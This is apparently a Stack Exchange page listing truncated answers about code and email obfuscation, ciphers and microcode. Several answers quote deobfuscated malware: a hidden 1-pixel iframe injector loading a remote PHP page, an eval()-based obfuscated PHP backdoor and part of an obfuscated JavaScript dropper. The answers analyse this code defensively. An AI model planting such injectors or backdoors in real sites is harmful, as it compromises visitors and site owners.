Hot answers tagged

80

A malicious hosting provider can do a lot more than simply steal your code. They can modify it to introduce backdoors, they can steal your clients' data, and ruin your whole business. Trust must exist between you and the host. About the source code. If the attacker is trying to gain access to your source code, they will gain access to your source code, ...


80

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage. Running that code through a deobfuscator gives us ...


63

To understand this, we must understand how crawlers find the email. While steering away from the technicals, the basic idea is this (today's algorithms are, of course, smarter than that): Find @ in the page. Is there a dot within 255 characters after the @? Grab what's behind the @ until you reach a space or the beginning of the line. Grab the . and what's ...


46

In approximate order of increasing complexity (not security, and methods may be combined), here are some ideas that would be easy for anyone used to puzzles/writing code/maths. A more complete idea is below. NB: when I say "secret" I mean not written in the book. These are all easy, and most useful to deter the casual thief. Have a memorised secret ...


41

The problem with client sided Obfuscation/Protection is that the attacker will always win. Your code runs on his PC so he can intercept and manipulate everything in the end. In the specific case of .NET it might make sense to apply basic obfuscation to remove function names for example but free tools are perfectly fine for that. To answer your question a ...


36

Well, this calls for three comments: You cannot protect secrets with code obfuscation. Not really. Code obfuscation somehow works against unmotivated attackers, but it is not strong. If there is commercial value in breaking through it, then it will happen. If you don't trust your hosting service then look for another hosting service. If the secrecy of your ...


35

What is being described is a protection against some classes of known-plaintext attack. Up until the 1960s or so, most ciphers were vulnerable to these (eg. many of the attacks on the Enigma cipher were based on knowing or guessing part of the plaintext). Modern ciphers are effectively immune to this: knowing that the AES-encrypted message is "Attack at ...


29

No, it isn’t worth it. Nobody wants to steal your code. A thousand million SaaS products have been launched by individuals and companies using third-party hosting of some description or another, and roughly none of them have found themselves to be competing against themselves after having the code for their products stolen by their hosts. So, should you ...


26

The last line performs an eval() of function v78ZFAX() given the two parameters like so: eval(v78ZFAX($vFHLJ89, $vIIJ30Y)); That first parameter is the part that takes up the bulk of the code. It is assigned all that random-looking garbage, with . concatenating all those strings together into one long string: $vFHLJ89 = ...


23

The first (in bold) code is actually this: Decoded with deobfuscatejavascript.com (function() { var pzt = document.createElement('iframe'); pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php'; pzt.style.position = 'absolute'; pzt.style.border = '0'; pzt.style.height = '1px'; pzt.style.width = '1px'; pzt.style.left = ...


22

If I search Google for "parlaimnet biuldnig", I see: Showing results for parliament building Search instead for parlaimnet biuldnig So no, such mis-spells are not sufficient to fool automated systems or to act as a CAPTCHA. However, searching for "the bobm" Google doesn't offer me a correction, so the technique is not necessarily completely useless. ...


21

The Code Golf is essentially to create an unkeyed 1:1 function to transform images. As such, it's highly vulnerable to chosen-plaintext attacks: if an attacker can convince Alice or Bob to transmit a carefully-crafted image, they can build up a map of what pixels get moved to where for that image size. Further, if the images being transmitted have ...


19

In addition to Adnan's answer: This is a by-product of when an attacker fuzzes your application (he just sends tons of payloads to see if one works). If your application handles encoding and escaping of user input correctly, you should not need to worry about being vulnerable. There are some countermeasures you can take to reduce these attacks such as ...


19

I would imagine the context of that statement was in the context of a cypher where a word repeated in multiple places produces the same cypher text in each location. If I see: AER TEO ZRE SGR. AER FSD ZFD DFG. YTR ASD AER DSG. Language analysis would reveal that "AER" is likely "The", and from there if you intercept sufficient number of encrypted ...


18

The article actually describes two constructions, the second one using the first one as a building tool. The first construction provides indistinguishability obfuscation while the second one is functional encryption. Indistinguishability obfuscation is a rather esoteric property, which is not what non-academic think about when they hear "obfuscation"; the ...


17

This isn't aimed at defeating human analysis, it's aimed at defeating intrusion detection / prevention systems, and other automated scans, as the code comes into the network. PHP is a Turing-complete language, which means that a single piece of code can be represented in a near-infinite number of ways. Automated systems have limited resources, and are ...


17

You're very much getting into the realm of "Here be dragons" when you look into hardware manipulation like this. I don't know of any research or in-the-wild attack that has done any practical experimentation with this, so my answer will be purely academic. First, it's probably best if I explain a bit about how microcode works. If you're already clued up on ...


16

Let's be clear: Obfuscation is not there to be a form of security that is subject to scrutiny. It will fall down as soon as someone actually tries to get around the obfuscation and just makes things harder on the attacker. The purpose of obfuscation is to dissuade potential attackers from getting into the system without a large amount of effort, which may ...


16

I created a language for this purpose. None of the symbols look anything like English (no telling if they look like any other language), there are no spaces, several letters are missing, common patterns become single symbols (dis,ing,etc) to prevent easy decoding, it is written from top to bottom, right to left, in a grid with out lines, and I used trash to ...


14

Although modern x86 processors allow for runtime microcode upload, the format is model-specific, undocumented, and controlled by checksums and possibly signatures. Also, the scope of microcode is somewhat limited nowadays, because most instructions are hardwired. See this answer for some details. Modern operating systems upload microcode blocks upon boot, ...


13

Obfuscation might look as the first obvious step, but obfuscation has to protect something in the code and that something cannot be webservice functionality because that is reverse engineered by intercepting the traffic even if it is SSL encrypted. Certificate pinning can prevent simple SSL interception by trusting a predefined certificate. You can ...


13

Basically this is a transposition cipher. What you would do is looking for pattern and rearrange like with this text example: http://www.richkni.co.uk/php/crypta/trans0.php Your example with grey scale text would be easier as the picture on code golf because you could see very easy what is a correct solution.


12

Obfuscation is ineffective against a determined attacker, it only makes it slightly more difficult. If you have a particular reason to distrust your hosting provider, get another. If you just want to be safe, get a non-disclosure agreement and other legal assurances that allow you to go after your host if they abuse things. If you still don't trust ...


12

To my humble opinion, email obfuscation (of any sort) is one of the worse ideas ever invented. The foremost concern for any user interface, web based or any other, is convenience and safety of its users. Spam bots are not users, thus they are not worth any consideration or effort. The logic goes as following: E-mail obfuscation is a nuisance for ...


11

I think the operative word in the question is "afraid." The aversion is based on fear, not fact. The reality is, the threat model isn't particularly realistic. Commercial web software development companies nearly universally use JavaScript these days, obfuscated or otherwise, and I challenge you to find me even a single example of one that's had it's JS ...


10

Nasty little bit of code It's likely a botnet setup or a backdoor for script kiddies. Would need to see what they're passing as vars and URLs to tell you what they're hitting you with, but this is a backdoor test script that tries several known exploits to pass information to your server. They're usually injected either via MySQL Injection Attack and ...


10

I wouldn't bother. Two reasons: Runtime interpreted languages really cannot be fully protected that way. To completely obfuscate it you would have to obfuscate it from the runtime as well, then there would be no way to execute it. Obfuscation just makes the task slightly more annoying. It can also make debugging and deployment more time consuming for ...


10

You're lucky: it's Windows-specific. First, I took the code, and went to jsbeautifier.org to beautify it: var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110"; function do193() { return ',"h'; }; function do112() { return ') { '; }; function do127() { return 'r xa'; }; function do88() { return '= 0;'; }; function ...


10

Is obfuscation worth it? Yes, of course it is worth it. Any extra layer which does not interfere with another layer is always worth it. It will deter the average person and keep the majority of people, or would be script kiddies, at bay.... But Commercial tools I would say are not, as anything to advanced could actually hinder your development, using some ...



Only top voted, non community-wiki answers of a minimum length are eligible